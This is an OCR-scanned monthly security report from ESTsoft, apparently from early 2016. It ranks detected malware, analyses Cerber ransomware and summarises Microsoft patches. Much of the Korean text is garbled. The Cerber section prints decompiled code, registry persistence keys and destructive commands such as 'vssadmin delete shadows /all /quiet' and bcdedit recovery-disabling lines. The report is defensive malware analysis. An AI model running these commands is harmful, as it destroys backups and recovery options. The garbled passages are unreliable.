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1. M7= £

2™ orMTE TOP15
I QFETE Top 15 = ARBALPCOIN BIX|E ETEE T[HIC=E L=5t SHO|CY
2016 2 Eo| ZI&H YT E Top 15 E[AENAE X[HFO| 212} 1,23 IE XIXRIE QHEIES 5,1 |KH
Misc.Suspicious. KCP 7t 3 1= i 211, 2 IR MiscKeygen 0| 1 212 S2MICH.
3 ¥ Misc.HackTool WinActivator = 2 {12 =217+ SHHAH| 2224

oN

S = o FICHH =k SAEERED)
1 t1 Misc.Keygen Trojan 735
2 11 Misc.HackTool.WinActivator Trojan 485
3 12 Misc.Suspicious.KCP Etc 440
4 New Gen:Variant.Jaik.10505 Trojan 423
5 New Gen:Variant.Graftor.270050 Trojan 399
6 New Trojan.GenericKD.3043751 Trojan 308
7 New Gen:Trojan.Heur.JP.3g3@a0Mc86hi Trojan 258
8 New Adware.Kraddare.295936 Adware 240
9 New Trojan.GenericKD.3064290 Trojan 233
10 New Trojan.GenericKD.3064289 Trojan 229
11 New Gen:Trojan.Heur2.CTR.28C5aaqujsPo Trojan 220
12 New Trojan.GenericKD.3064298 Trojan 218
13 t1 Misc.Keygen Trojan 735
14 t1 Misc.HackTool.WinActivator Trojan 485
15 12 Misc.Suspicious.KCP Etc 440
R =, A0E AZRIS| ZAFSAHS BHSI0] MEst =)l 20163028 01€~2016H02E 29
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86% m =0 (Backdoor)
HEO|2{A (Virus)
EZ20|=0 "
E= I = I' = 50| X7 (Hijacker)
B SAEM (Host)

FIE|n2[E oAdTE HlE ME Hlw

2 0fk= K|t 1 2t H|wslt| E201=0KTrojan) 72 2FITE HISO0| hE JS0IA.
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[Trojan.Ransom.Cerber]

qaIL =4 HiM

22 1] SEHA X 2= 21H

Z[Z A0} SHHOBIfME 2 AAS "SEOZ LEF=" HERII07HHOHELT UCE

CerberHAZHIZ)Z E2| 2= 0] HHYN2 71E HEANHSO| 7HK[LL UE iU AUz} 752 7[2HO= S¥st
BIAEES SHHAX|Z HtSH= TTS(Text-to-Speech Code)T =7 EEIGHT U0 2 Al ALBXI0A| 24 ARRIE SHC=

THotk= 7150 EXifett.

O] ELIM0iE= ofid HERU07H O LS Soll ALBAPCE ZBA7 1L, 2 AHRS LoiF= X| LOL =L,

ESTsoft



Part2. 2 22| 2+dTC Ol

2. FMTC MK £

2.1 MAFH

Detection Name File Name MD5
Trojan.Ransom.Cerber Sample.exe F5146A3BBE6C7 1ESAOEF2FO4F955B1A1
2.2 39 Q9of

St A7 |2 “ cerber” EFEIXIE HZAZICE

2199 PCLHO| 244, O|0|X|, 22 TAl S [HCK0| TRISS o5
1] ez’ SMHIMIKIE ARRXIH S24=Ct

Y| 2= E|H, £ YAO|EZ HZE /ol A

'_-:3 # DECRYPT MY FILES # html HTML 24 2KB
=l # DECRYPT MY FILES # Dt HAE 2N 1KB
| # DECRYPT MY FILES £vbs VBScript A3 21 E W 1KB
|| _sRDpHkMEg.cerber CERBER m-a 7OKB
|| SMgWPoJZAt cerber CERBER L}2! 29KB
|| ILYSUy3aBx.cerber CERBER mp2! 83KB
|| W34Fgbtveo.cerber CERBER I3 104KB

(O3 2] 2 = PC 31H

2.3 JMIEA
231 29 T4 &0l

Cerber HHMRA= Z|= S2A| 2 T PC7HEE 27101 E&tl=X] 2121 SiTt
CHA =7 [RIX| 2101 Sh= BIHO Z [P Geo 242 02510 2 CHA PC 2| 27 IHEE ORHLCT
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shile ( 1)
{
vl = get_config_list_entry(viz, vi9);
ifF (vh )
{
uS = (const CHAR =)decode_string((const CHAR =)tdword_&1679C, 3u, -&7, 0);// url
ub = Find_conf_key(uh, v5);

url = get_config_value_string(us); /7 Uhttp://ip: W/ json™, “http://Fre H.net/json/*, “http://ip-. /json™
if ( url )
{

vl = (const CHAR =)decode_string((const CHAR =)dword_4167A0, OxDu, -127, 0);// property_name
u9 = Find_conf_key(uh, vi);
property name = get_config_value_string(v?);// “country", “country_code', “countryCode"
if ( property_name )
{
vig = 0;
response_buffer = m_read_url{(const CHAR =)url, (int)&vi8);
v16 = response_buffer;
if ( response_buffer )
{
v11 = sub_M13DC7(v18, response_buffer, (int)&v18);
sub_M1A804(V16);
ifF (vi1)
{
v12 = Find conf_key(u11, (const CHAR =)property name);// url2¥E] SQWE json FIA property_namel!§ U8
country code = get_config_value_string(vi?);
country_code_ = alloc_str((const CHAR =)country code);
sub_N13B25((void =)uii);
result = country_code_;
if ( country_code_ )
break;

[O2 3| =71 ZEE &elsl | 2feh FE s

37H2| URL 258H SEHE2 json &412] HI0|E{0f|A] property_name 2] 20| sHESH= CIO|EIS TSI 27 EE 0L,
1
NLEET A A
"hostname™ > “"Mo Hostname™,
"city" ",
"region”: "7,

["country”: "KR", |
“loct o T R e,
"org”: " i e ———

(23 4]ip™*io AOIE json &2

Flof ARl =21 E A& PCo| =7IF =S EUi0] 7HAL U= w7125 H|Q| S| AES} H|WSIT,
X2 2AE0| S| AIURIS ofk| BII T=THMS S=0IC,

ESTSOft Copyright by ESTsoft corp. All rights reserved.
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GUBLIY_Lode_sirang = gel_country_code(a i), /4 gel country code rrom  hlipos/ap /Json
if ( country_code_string )
{
u3 = (const CHAR =)decode_string((const CHAR =)black_list_str, 9u, 108, @);// black_list
ul = find_conf_key(al, vi);

if (vh )
{
uS = (const CHAR =)decode_string((const CHAR =)countries_str, %u, -107, 0);// countries
vt = Find_conf_key(uh, vS);
v7 = (void =)ub;
if ( ve )
{
u8 = get_config_value_count((void =)u6);// Oxc
if (v )
while ( 1)
{
v9 = get_config_list_entry(uv7, v2);
if (v9)
{

ull = get_config_value_string(u9);// H|D2|AE :
/7 vamt,taz' by, ge”,"kg", k2", nd, ret el e, a2t
if ( tlstrcepi(v10, country_code_string) )
break;
H

[T 5| =/ 1= Hlw F= SiH

x OZ2EHS =2 A7 |= HE 2|AE

Ammenia (Ot=H|L|0F) Moldova (Z=HI)

Azerbaijan (OPH[ZHIO |t Russia (2{A10D)

Belarus (H22A Turkmenistan (FE3MH|L|AE
Georgia (ZX[0) Tajikistan (EFXI7 |AE)
Kyrgyzstan (7|27 |AAER Ukraine (R=210|LY)
Kazakhstan (7 RS AE) Uzbekistan (RZHI7|AE)

232 M My A YXAED] =F

Cerber 2HE20] T SEO[ AXE|H, OF2H2t 22 SH0| MYSS gl
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- I A
Y%eApplication Data% \{Random GUID}\{Random}.exe
(HEIIAHS OS] A|AH MRS SHHGHAH| MEHSI] AR ex: diale.exe, odbaconf.exe, ntoskmlexe, wscntfy.exe)

- 23 T Ay

YeApplication Data% \Microsoft\Windows\Start Menu\Programs \Startup\{Randomy.Ink

- OflofxIl I Ay

%Tasks% \{Random}

- ISt e Il My

%Desktop%\# DECRYPT MY FILES #:txt
%Desktop%\# DECRYPT MY FILES # html
%Desktop%\# DECRYPT MY FILES #vbs

IS5} AZ1 I ZC{)\# DECRYPT MY FILES #.txt
{&t&3} A171 I ZC{}\# DECRYPT MY FILES #html
{&t&3} A171 I ZC{}\# DECRYPT MY FILES #vbs

X &

0S & %Application Data% &A=

= Windows 2000, Windows Server 2003, Windows XP

(C:\Documents and Settings\{user name}\Application Data)

—Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows Server 2008, Windows Server 2012
(C:\Users\{user name}\AppData\Roaming)

ESTSOft Copyright by ESTsoft corp. All rights reserved.
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MM El OQfRIT MRS MM[oHA| ATHEM 1 2 CIR|Z HEEXIAS 25H51= A4S 2 4~ ULt
E2|H HE - a [
_m
R AIHG): [0R2r AtE] -|
23
@ sy | AEHS: 2000-01-01 v 2 12:00:00 3 [] X AZITH 2t S718HD)
) Dj2m
l ':::' ﬂH-"“—lf'i“-"J I
& OFE(M)
|
|
g HE™ i
S0 A HE|= FHOf AJZHTO] A H)I(K) |1 Al ZE "| i
N wE BEE: 12 - ZHE: BUTRE v '
(] o= 7|210] 222 [ 43 20 2= &g SA( |
CHE 717 Oy ABEE R ENL: 3 ¥ ] |
BE00: 2017-03-08 ~|[e= 34710 [ 2= A7 7t S7|SHE |
M-E(B) |
I
Ceadaa) |
L - )
[T2! 6] ofjerxido]| S2 =l Adj|E2 S1H
PCL| IHEE! A| XiSAst= 2ol elXAELE -6},
SX IEHAREITEIE XD, LAESA) SXGR K T0| NEOS AHE 4 ES AXAEAE
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- Y XAER| HA
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
"{Random}' ="%Application Data% \{Random GUID}\{Random}.exe"

HKEY_CURRENT _USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
"{Random}' ="%Application Data% \{Random GUID}\{Random}.exe"

HKEY_CURRENT_USER\Software\Microsoft\Command Processor
"AutoRun"="%Application Data%\{Random GUID}\{Random}.exe"

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
"Run"="%Application Data% \{Random GUID}\{Random}.exe"

HKEY_CURRENT_USER\Control Panel\Desktop
"SCRNSAVE EXE" ="%Application Data% \{Random GUID}\{Random}.exe"

233 REEM HE

Cerber HEIOK= B8 ME SARZ AHIAS STN [T, HE G148 23510

el

25 T AR AHIAS SXISIORM SXARC] AR 22 3 uop7|s"S S5 5 siE TS =7

vssadmin.exe delete shadows /all /quiet : VSS (Volume Shadow Copy) AH|A SX|
bededit.exe / set {default} recoveryenabled no : 2| XSS+ 7|5 2 S|

bededitexe /set {default} bootstatuspolicy ignoreallfailures : 25 S+ 2= ARZSHK| 44X

ESTSOft Copyright by ESTsoft corp. All rights reserved.
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GetSystemDirectoryW({&Buffer, Bx184u);
vl = {const WCHAR =)decode_string{{const CHAR =)dword_41687%, O8xDu, -116, 1);// Wussadmin.exe
1strcatW{&Buffer, vd);
vl = {const WCHAR =)decode_string{{const CHAR =)dword_%16884, Bx1Au, 20, 1);// "delete shadows /all /quiet"
m_run_process{&Buffer, ui); FFOZHA L
memset{&/ersioninformation.dwMajorVersion, 8, 8x118u);
UersionInformation.dwdSVersionInfoSize = 276;
GetVersionExW(&VersionInformation);
if ( VersionInformation.dwdajorVersion == 6 )
{
u2 {const WCHAR =)decode_string{{(const CHAR =)dword_4168A8, Bx21u, -56, 1);// /set {default} recoveryenabled no
u3 {const WCHAR =)decode_string{{(const CHAR =)dword_4168C4, 8xBu, -32, 1);// bcdedit.exe
m_run_process{ud, u2); ff TZH A 2 bededit.exe fset {default} recoveryenabled no
vy = {const WCHAR #=)decode_string{{const CHAR =)dword_4168D8, Bx31u, -111, 1);// /set {default} bootstatuspolicy ignoreallfailures
v5 = {const WCHAR #*)decode_string{{const CHAR =)dword_4168C4, BxBu, -32, 1);// bcdedit.exe
m_run_process{us, ul}); 2 T2~ LM bededit.exe /set {default} bootstatuspolicy ignoreallfailures

(121 7] Y= 27 OC SM 4K AC 5|H

SRS MR - HIERT” 2 0l RS TRESH.

bededitexe /set{current} safeboot network : “CHHRE! - HIEQT” SMOZ 45

if { al )
{
u? = decode_string{{const CHAR =)dword 415D8%, Bx1Fu, 123, 1);// /set {current} safeboot network
ua = 1;
uh = 97;
vl = {const CHAR =)bcdedit str; /4 bodedit
b
else
{
u? = decode_string{{const CHAR *)dword_ W1SDAC, @x16u, -24, 1);// /raw /fastdetect /id 1
v = 1;
UL = -GG,
us = {const CHAR =)bootcfs_str; // bootcfg
b

u? = {const WCHAR =)decode string{v4, Fu, u5, ub);
m_ShellExecuteEx{v?, {const WCHAR #*}u7}); PP A D24 A
set_service()};

sub 48ZBAS() ;

[22] 8] OPHHE! SM 44 TE SlH

ESTSOf[’ Copyright by ESTsoft corp. All rights reserved.
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234 ZE s 2|AE 2 M2 ChHA Er

Cerber 2H201= ZE Chet PCOIA ZE AlZ SFEXIS R0 ZF ARICE
HE e 2lAEE & 380712| I SF0(0 ApMiet LIS i FE = Of=het 2T,

.contact, .dbx, .doc, .docx, jnt, jpg, .mapimail, . msg, .0ab, .ods, .pdf, jpps, Jppsm, .ppt, pptm, prf, pst, .rar, 1tf, txt, wab, Xls, xlsx, xml, zip,.1cd,
3ds,.3g2, .3gp,.7z,.7zip, accdb, .aoi, .asf, .asp, .aspx, .asx, .avi, .bak, .cer, .cfg, .class, .config, .css, .csv, .db, dds, dwg, .dxf, fif, fiv, .html, .idx, js,

key, kwm, laccdb, Idf, lit, m3u, . mbx, .md, .mdf, mid, .mlb, .mov, mp3, mp4, mpg, .obj, .odt, .pages, php, Jpsd, pwm, .m, safe, sav, .save,
Sql, .sit, swf, thm, vob, wav, wma, wmv, xIsh, .3dm, .aac, .ai, .arw, .c, .cdr, .cls, .cpi, .cpp, .cs, db3, docm, .dot, .dotm, .dotx, .drw, .dxb, .eps, Al
a, flac, fxg java,.m, . mav, max, . mdb, pcd, .pct, .pl, Jpotm, .potx, ppam, .ppsm, Jppsx, Jpptm, .ps, Jpspimage, .r3d, 1w2, .sldm, sldx, .svg, tga,

Wps, Xla, xlam, xlm, xlr, xlsm, xt, xttm, xttx, xiw, .act, .adp, .al, .okp, .blend, .cdf, .cdx, .cgm, .cr2, .art, .dac, .dbf, der, .ddd, design, .dtd, .fdb, .ff
f fox, .h, .iif, indd, jpeg, .mos, .nd, .nsd, .nsf, .nsg, .nsh, .odc, .odp, .oll, .pas, .pat, .pef, pfx, ptx, .qbb, gbm, sas7bdat, say, .St4, st6, Stc, .Sxc, .S5x
w, tlg .wad, xlk, .aiff, .oin, omp, .cmt, dat, dit, .edb, fiv, .gif, .groups, .hdd, .hpp, log, m2ts, m4p, mkv, mpeg, .ndf, .nvram, .ogg, .ost, pab, .p
db, .pif, .png, .qed, .gcow, .gcow2, v, st7, stm, vbox, vdi, vhd, vhdx, vmdk, vmsd, vmx, vmxf, .3fr, 3pr, .ab4, accde, .accdr, accdt, .ach, .acr,
.adb, .ads, .agdl, .ait, .apj, .asm, .awg, .back, .backup, .backupdb, .bank, bay, .bdb, bgt, bik, bpw, .cdr3, .cdr4, .cdrb, cdr6, .cdrw, .cel, .ce2, cib,
.craw, .crw, .csh, .csl, .db_joumal, .dc2, .dcs, ddoc, ddrw, .der, .des, .dgc, .dw, dng, drf, .dxg, .eml, .erbsql, .erf, .exf, fid, fh, fhd, gray, .grey, .gry
,.hbk; .ibank, .ibd, .ibz, .iig, .incpas, .jpe, .ke2, kdbx, .kdc, kpdx, .lua, .mdc, .mef, .mfw, . mmw, mny, moneywell, mmw, .myd, .ndd, .nef, .nk2, .no
p, N, .Ns2, .ns3, .ns4, .nwb, .nx2, .nxl, .nyf, .odb, .odf, .odg, .odm, .orf, .otg, .oth, .otp, .ots, .ott, |p12, p7b, p7c, .pdd, pem, plus_muhd, plc, .p

ot, pptx, .psafe3, py, .qba, .qbr, gbw, .qbx, .qby, raf, .rat, .raw, .rdb, ., .rwz, s3db, .sd0, .sda, .sdf, .sqlite, sqlite3, sqlitedb, .sr2, sif, .srw, st5, .
St8, .std, .sti, .Stw, .Stx, .S5xd, .sxg, .sxi, .sxm, tex, wallet, wh2, wpd, x11, x3f, Xis, ychcra, yuv

HE e SAE 0|2[0] HFES A7 K] = E07 = D} 255 EXHRICT

M =5 Ofef Z130]| U= T EEHE2 HBAF K] 541 EofZIT,
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uiz2 {const CHAR =)decode_string{{const CHAR =)files_str, Su, 38, B);// Skip Files List
ul3 Find_conf_key{vi1, vi2};
if ( ui3 )
bl _files = get_config_list str{uvi3, 2); /¢ "bootsect._bak”™,
Ff "iconcache . db",
f7 "thumbs .db™,
7 "wallet.dat”

vl = {(const CHAR =)decode_string{{const CHAR #=)folders_str, ¥Fu, -87, 8);// Skip Folders List

(Th N find_conf_key(vi1, vil);
if ( vi5 )
bl dirs = get_config_ list _str{vis, 1}); £F UiWSrecycle .bint,

FF W Swindows b,
FF "V Wdbootibe,
7 U cWdriversiid,
A4 Uciitprogram filestiy:,
FF tWprogram files (x86)WH,
Ff " Wprograndatakid,
A/ Uidtuserstttall usersi,
U wtwindowsh,
FF "Wlappdatatlocaltd,
FF "Wlappdatatlocallowid,
24 UWtappdatathroamingii,
A4 UWipublicWmusicisample musichit,
£ Upublictipicturesisample pictureshtd”,
A4 Uipublictttvideosiisanple videoshd,
FF UHttor browserti

[O22 9] 2 MIQ| Chaf ZIAE F= 5iH

2.3.5 Tor B2t2XE 0[Est Decryptor AR[E & K

Cerber 2HRl|0] ZH0| 2i= = H, i
.I
o

St 2610 txt, html, vios 0| A4 =ICt
MUHS HTIA LY “2.3.2 I AA ol

IRIAES| 8" LEZO]| 7 [RH=I0] QUL

ol
=
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To decrypt your files follow the instructions:

2. Runit

3. Inthe «Tor Browser» open website:

http://decrrms u

4. Follow the instructions at this website

r ™
& CEREER - Windows Internet Explorer EIE'Q
O~ [ - [ 4| x | = 2ing £ -
T BRI @CERBER [ ]

CERBER

Your documents, photos, databases and other important files have been encrypted!

1. Download and install the «Tor Browser» from https://www.torproject.org/

= u -F667

(22101 2 &= = AR 2 & 3lH
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-
| # DECRYPT MY FILES #txt - O 25

nelE #HEE MHMH0 2N ESEH

CERBERHR

To decrypt wvour files follow the instructions:

Your documents, photos, databases and other important files have been encrypted!

2. Run it

3. In the "Tor Browser” open website:

http://decry

4, Follow the instructions at this website

1. Download and install the "Tor Browser™ fram https://www.torpraject.org/

-FEET

-2

. Guod me non necat me fortiorem facit.,?

4

e

(72 1] 2% 12 3 ASK B HIAE 55t

Cerber HHHYI02| EF S SHLIQI SHHAX] L2 022} 20| VBS MU= %[0 QUL
olig VBS IS AISHSHH “Attention! Attention! Attention!”, "Your documents, photos, databases and other important files have

been encrypted!” 2f= SMMHIAX[Z| LE2LL,

-

| # DECRYPT MY FILES #vbs - B 2%

= | B | |

oelE #EE MHMN0 2N ESEH)

Set SAP| = CreateObject("SAP|.SpVoice”)
For i =1 to B

Mewut

SAP1 . Speak "Attention! Attention! Attention!”

S4P1 . Speak "Mour documents, photos, databases and other important files have been encrypted!”

b

(212 e 2t = AL 22 S HAK] 3t

ESTsoft
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2 mloy| 7 [xf =l LIS 7 (2= Tor E2F2XZE Decryptor A0 |EO| H&51H 012, S, ARl THA IS5 o= 5 LISt
AL

AE XIHot= 2= & == UL

Jceaesa DECRYPT x

S & ¢ & ammmn v e || Q search =

CERBER DECRYPTOR

Dilinizi se¢iniz

(@& Turkce = iy pall = Nederlands

[ 13] Decryptor AIO|E Ei; 515
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10} 4181 3 URHCaptchal ZEE QURIoH, HEXOR QIBsiE IS B0pEs £7I02 HIEFQ! 2ot HA| 3irt
v || Q Search

=
./ CERBER DECRYPT- x
S 6&- (¢ oEETEN N

CERBER DECRYPTOR

For security reasons, please enter the code
displayed in the box:

Q

Enter the code here...

(72} 14] 2Rk 2= 2421 i
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Your documents, photos, databases and
other important files have been encrypted!

To decrypt your files you need to buy the special software — «Cerber
Decryptor».

All transactions should be performed via ©bitcoin network only.

Within 5 days you can purchase this product at a special price: Bo.75 (=
$310).

After 5 days the price of this product will increase up to: B1.50 (= $620).

The special price is available:

04 . 23:59:59

(22! 15 HIEZQI 2 HO|X| 512

ESTSOft Copyright by ESTsoft corp. All rights reserved.
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3. 8=

HTA LHE1L 20| Cerber HMI01= ARBKIPC LHEEC] 00X, ST, AR, 2A, 32 I S YS3i61,
Z& M= SAEE(Volume Shadow Cppy) 7 ISk =517 | MR0] YSstE IS S+1617(7F ofZC

pa

P ASRISS SBR] HOIIHI0ES 3

S 2 ZRIOZ QKo EXE L 4= Ql= 0|HIY HRIIY Al ZX|, S EM=
LHE 21 717 |0 9= of= &= S0l= 0|

Ct.

o O
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2 49| KOt O]A

2of0] &2 TOP Ols+

I'I

O[2HEZEEIRE= X ol 71K, 2015 H 12 8 1 2 SEE HESHY 0I2FT I YEES S0i 2t EHE Al

o =T
JWERLS 3 USE] UG IS SIRACE OfH JPHQE2 ISMS QISHI= 2t et 7Y HES UMM HIUSt At 52
okl

QAL O2HF= OfH ARE 2 ARHE] TSRS SollM 71-S0] Y2220 Higt FAIS &ittioll §EES
HNO=Z 7|Chotal ACT. A-OHLL, mHARHAL BRI, AR=]9, =F2|2| SO ERIE MM 2FdE

=
68 2 20f| SE-AltE 00|,

- U H2T M 22 ETE WA WA siZ CHH[SHOF

2% =L HH 7|20 IH5= FdF =0 O|HIY= TSEIRILY, 0] T == Xlfoll 2 RF20|L FHAENSE =22
S AFATE 22 1T 2 YT 0|, OfH FL T2 7 [H0fM ILARE AT == M 0| ALS 2|Xf=

PERUARITE ST LBMA AR S 7IXIK| Rt ZE SRR SZAPH AMEX]| M22 HET=E W 2 4

OO o
A7 |0f| =27+ EL0H.

- & FIEA DZHEE I3 X0 /= QIO HieRY QLo

Kt 2014 F1=AE 024 FHOFEE R ARAC| TioHAL S L7} 7IEALS A= HH 2oftel 250 AT IFHR =
SIS HPFEE7H REEIAXIT THE SHYUA S M| 3 KA HO7HX] 52 EE 1ol TS 7 12300 23,

- MSX[oHd 1~4 34, 2 0] 2| AFE Hlo|2{A 2 UX]

R[St 1 THSKIE 2Aoh % EXI2A A2l Tt ARE Z20-S Sl MS XS T= 87, 2ALEA,
UKL S SR2HUS Sef £ |0¥— AAROZ SZ40| QR XAE= JH|0|H, OS2t MEHEZ= SE Al
TCCE EelolHM HRE H fOIE1 RIS Plet HARE ELIEE ZAIS ofk| 640 HIERS FRIRIT #id VIS 2dst
OFR| I,

MEX[oHE 1~4 345 2Fok= 1EU1I_%7P°“XP—.:O SENO1EH| BRE| ST HOHAV HE RS0 01
2 ETC
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- 52, L AOIHE2] 71580l CHSZ Bl

Z3IE AR, Helti= =71 QiHAS SHo2 =R 5 HAREX2L ZIZ5| tiSoll =Tk
s HEU.

=ote| thigt |2 =8| HE7t 2ol Mt HRE= 20 QXS SO = HIMTHHIXIRS TEok! ZF 7 U0 25 EfM|
OFX{

XM= H2| 52t 2Eet

=

— JHQVEE STt A UIX|, S8 ATIE FECH. KISA, AT A QI STH Al

THOINE RISH Al TAMKI 7 SSHEE] Y= SHH A|SHE|H, 021 XIx 201 M7} 7HRIMH QF MGHE ofjdlst 202
7 |CHEICE. ZHRPEE FoH A1 ZARE= ZHPHE R RITHI ZSHALL OIS Lol RIF/ HESH HYR JHOEE REAL
XHEr X CHROf| [ WO 2, KISA ZHRPEEEGHAIE 2 = =HI0] 118 2 365 Y 24 Az 41117} 7tSoiTt.

SUI TT7 20l Ot S22 RBSH= 6_ OIRtHIo] FAI CIRIEO] 3H2) Sk CIREZE T2 T2 Ao}

PSS QIS SRS HIr) 861 O] SN QESHE OISGI0] RIEEI OIS 2N SHK| Tefap | 215, 0] 2

D201 SEHO|LH B2, 7[00 T2 AOJH| HOHS AUOZ 4 QU OTET | =HS JH5A0| £ 2HOR BT

RICH O AIRHS 2013101 28 2 HAHS DI 320 AlO|HEIZIt AR BZH0| 2AtEE 4+ Ol 4215 ARIOR
T 9t

- EQIIE-OTP I0IE 221014 HIZH0[
= o
8 bl

relot Y

ISR W20 AP 5 FXIZSUSTES Wl MAFZS 7, Al USIR HILUHSS ARsHoF
TRI17|2 BIGICE S FAIZS LS TAS QIE, BHIQ W20 A0S & If HOW =S makst
NBBIE QJ5} 5171 QUL SHAIZH USIR HILHS AR 0127} HX|EIH 2RSS HalAnt Hok

SIS M) 483 4 QIS HOR ORIt

i

Il
ne o
o fol

d

r—v—

o
0.

ESTSOﬂ' Copyright by ESTsoft corp. All rights reserved.



Part3. H2t Ol ER7|

ol F/o1H Ol

Microsoft 2 & 47| HO HH|O|E

— Intemet Explorer £ X HQt HH|0|E(3134220)

0] 10t IHIOIEL Intemet Explorer ] £ICFSS: SZIBILICE O] S0 73 Aj245t £IPKIS ASAPH Intemet Explorer S
247} TIC NS 515 4 UALICE O] F2P R0 M3t BHRK= Sy

AKEoI0] S MAE E HOXIE = 3% &4
AEAIt SUSH ALZAL HRIS B’ =+ 2
TARP= 5 HE= A|AE‘II° I-”()-I%I-
MHIALL 2= AFEA

USLICE SR ASA L 2 (A Hele= 220t AL, 0] FofY U0 g5t
SUCE O12A =IE 32XV Z2 1S dX[otAHL, CIOIHE EAL HE6 L

S IS 4 QUL

0
§
|‘rru
=
X 8
0

— Microsoft Edge 8 =X HOt ¢H|0|E(3134225)

0] 12t IHI0|E= Microsoft Edge 0| FI2PIS SHZIBILICE O Z0IA 7HS 412iet FHOPIS AIBXI Microsoft Edge 2
AKR5101 S+ HIAHE 2 HOIXIS & A9 #7 TE A2 5188 4 USLICE 0] F2H R0 4T3 B2KI= ity
AIEIQH SUB MK} HBHS RS 4 QUSLITE A0 CHSH AKSKE 2310] £ TE ARO| TS TR} HetoR
KlQi5H= T240] HioH BES K| WL

oco= i

|
ro

24 I M3 SHASI| 9ISt Microsoft Windows PDF Library 0f] Cligt H Ot 24H[0]E(3138938)

0 E2t HH[0|E= Microsoft Windows 2| F|2FSS siZelL|C. 0] S0l =t aZket F2FE2 Microsoft Windows PDF
Library7fAPI( g D272 QIEI0|A) SE2 FXTGH| X2loh= 32 ¥4 TE AIS 5188 4 UM, 0= QIaH
SARTLAEAIL] AAHI0IN 22|e| TES Alelist 4= USLICE 0] FFY US| G35t AR = okl AFBXIR St
*I‘%ﬂ oIS B2 o USLICH AARIO| CHSH ALSKE HEH0| ZA| TP E APYe| D24 A2 |X} HStO = Xiiok= 117H0j|
HloH Faks ZA| EhSLICE SHX|2E SZXE= ZHM= ARBAP 2+d PDF Z2AME TRR2EE0i LT S5 T 4= SiSLICL

Al

74 Al

=1

i
o2

I
rio

0] 19t IHI0|E= Microsoft Windows 2] FORSS SHZIBILIC O] HICRIOR Q1o ARBKIE S4+ MRS W71 IS &
B9 22| T M0| SBE 4 ULLICE AAO| Chot ARG} 510] ZpH| TAE 0| ARBRK= Ri2ix} Hsto

Ljhok= ARBAEN Feks B EE 4 USL.

0] 50t AEOIE Microsoft Windows 2] 12FAIS SHZIBILICE 0] F0IA 73 A2t FRHIS BRI} i AIAH0

ol
E201 S5 A E S8 Z20HS AAlS 4~ s 39 BH T HdS 5188 o= UASUCL
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- # IC HAS SHASI| {Igt Microsoft Office 01 CHSH H Ot RIHI0|E(3134226)

0] &t @IE[0|E Microsoft Offce 2] FOHIS SHZBILICE 0] ZOIM JHEt Ajztst ZoRde AIBAPE 4 HIKHE Micosoft
Office TUS & 2 U2 T MBS 5123t 4 UBLICE O[215H FIOP UR0f AT5HBZHRN= S| ARKIS| HEIAE0A]

A
— = o
QJojo] TS AlgEt 4+ QULICk AIARI| Lzt ASX} HBI0] S TAIE 0] T2 PRI} HBIO2 KIQMGH= 240

= [ —

g

=
Hfol Feks XA ZELC.

oco= 1

- HSH M2 5i1Z5}7| 915t WebDAV 0] CH

ron

F HOF |01 E(3136041)

0] E2t YH|0|E= Microsoft Windows 2| F|2F4S sHZEILIC St Microsoft WebDAV(Web Distributed Authoring and
Versioning) S210|HEE ALE5610] AH{0f| S M= QS Bli= B 0] FFMOZ QlH st A50| 5122 4= USLICE

- WS HSS S5 fIgt ¥4 HATE CIASH(0] =210|Hof| CHgH Hot YHI01E(3134700)

=
f5
18%

H|0|E= Microsoft Windows 2| F{FES oHZRILICE. QIS E SZAERDPE AKEot0] T A0 232510
HzS Soll S+ HEE HI0HE 2= 39 0] FIeFE2= Qo Het &350 6182 & USLIH. 7IEXM2Z RDP =
A

Windows 2 AMH[0|A] AFBEIX| SELICH RDP 7+ ARBEIX| Ofi= AIARIS FIOFSHK| QFSLICE

- St &E3 SiZsH7| ISt Windows 712 RE E210|H0f| CHSH Ot H0]E(3136082)

=
f5
18%

H|0|E= Microsoft Windows 2| F|FIS o Z&ILICE 0] R = QI SHXHFt = AIARN 2020t =
(o] E=

E I-"X_ll'ﬁ- %g Eﬂ% -AEIsng 75‘_0'_ -?-I__IQ- é)%ol 6_IQ_E|

- MHIA HRE SHZS17| 2I8 NET Framework 0f CHSH EOF E|0[E(3137893)

O] 22t YHI0|E= Microsoft NET Framework 2| F|FgS sZfLICt. 0| S0A 2Lt aZiet Fofd2 ST E+ MAE
XSIT £ S210[HE 2 XML & THEN| Heoh= B AH|A HREE HO7 |10, MHZFIHHHOE XSIT Hets AL 2=

% QULICE,
- MHIA HEE SHZSI7| 215t Active Directory Federation Services 0f CHEH HQt 2AC|0]E(3134222)

O] H2F M0 |E+= ADFS(Active Directory Federation Services)2| FIQFES SHATBILICE 32X Al 7[HE 01 S0 4 I
CIIO|EE ADFS MHZ L= AR 0] FRHOZ QI5 MH|A HEZF SEE[L, SHE A7t SEGIK| A & 4~ UELICH

- MH[A HEE SHZ5E7| 218 NPS RADIUS AMH{0]] CHSH HOt A4HI0]E(3133043)

0] 12t IHI0IE= Microsoft Windows ©) F2PIS SHZIBILICE BHXPF S HIEIE ARGX} OIS XIS NPSUIESIT
245 A0 SIL= 2 O] FIRPIS NPS O] AfHIA 7457} 254517 Bt 4+ 913, 0|22 QI NPS O] RADIUS Q15|

=A1E = UASUCL
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— Adobe Flash Player 2 2t &H|0|E(3135782)

0| 2 HHI0|E= X|El= 2= HEC| Windows Server 2012, Windows 8.1, Windows Server 2012 R2, Windows RT 8.1 &
Windows 10 0| AX|=! Adobe Flash Player 2| {2fdS SHZASHCY.

IEEE

!
ol

Windows UpdateE #35t7{Lt Microsoft HQt SX| QOF AIO|ENA siE FAMS2| 7HEAQI IHX| OIS

=
E
CIREE w2 4 YL,

=  http://technet.microsoft.com/ko-kr/library/security/ms16-Feb
HE : https://technet.microsoft.com/en-us/library/security/ms16-Feb

QUIA ZA Oj3ZZ HIO|HA =9 H1

A2 0[S S5 R MS YIS TLo| HHH2 7H5S 0183t O TET IEIT 0] 018XI| Foi8 Hs
- s
B2 U S AR

153 & 23240|L AHALERRL 23 QUTHT 4RI oFHTET} A2 T2 7|2 ChA o) Mo ZEE|] ZS Al

O H3IQ3 HPAS AMIS YR Hunels dos o

Please see the attached Telephone Bill & Reports,
Please use the contact information found on the irvoice if you wish to contact your service provider.

This message was sent autornatically.
